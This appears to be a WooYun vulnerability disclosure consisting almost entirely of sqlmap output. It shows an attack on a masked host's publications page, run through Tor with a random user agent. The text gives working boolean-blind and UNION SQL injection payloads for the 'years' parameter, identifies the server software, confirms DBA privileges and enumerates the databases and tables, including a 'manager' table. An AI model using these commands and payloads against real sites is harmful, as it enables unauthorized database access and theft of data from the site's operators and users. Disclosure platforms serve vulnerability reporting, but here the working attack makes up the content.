WooYun.org

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUS --union-char=N -u "http://**.**.**.**/big5/pages/publications/publications.php?page=3&years=" --dbs --is-dba --current-db
Parameter: years (GET)
    Type: boolean-based blind
    Title: MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
    Payload: page=3&years=-6466' OR MAKE_SET(4243=4243,9213) AND 'uHgi'='uHgi
    Type: UNION query
    Title: Generic UNION query (N) - 11 columns
    Payload: page=3&years=' UNION ALL SELECT 'N','N','N',CONCAT(0x71786a7a71,0x5153797868544b416b64,0x7178707071),'N','N','N','N','N','N','N'--
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5
current database:    'ibms'
current user is DBA:    True
available databases [3]:
[*] ibms
[*] information_schema
[*] mysql
Database: ibms
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| seminars              | 547     |
| publication           | 283     |
| awards                | 187     |
| peck                  | 77      |
| principalinvestigator | 72      |
| activity              | 53      |
| ibmsnews              | 40      |
| jobsbig5              | 30      |
| conferance            | 15      |
| introduction          | 12      |
| introductionbig5      | 12      |
| interflow             | 10      |
| teboard               | 9       |
| manager               | 2       |
+-----------------------+---------+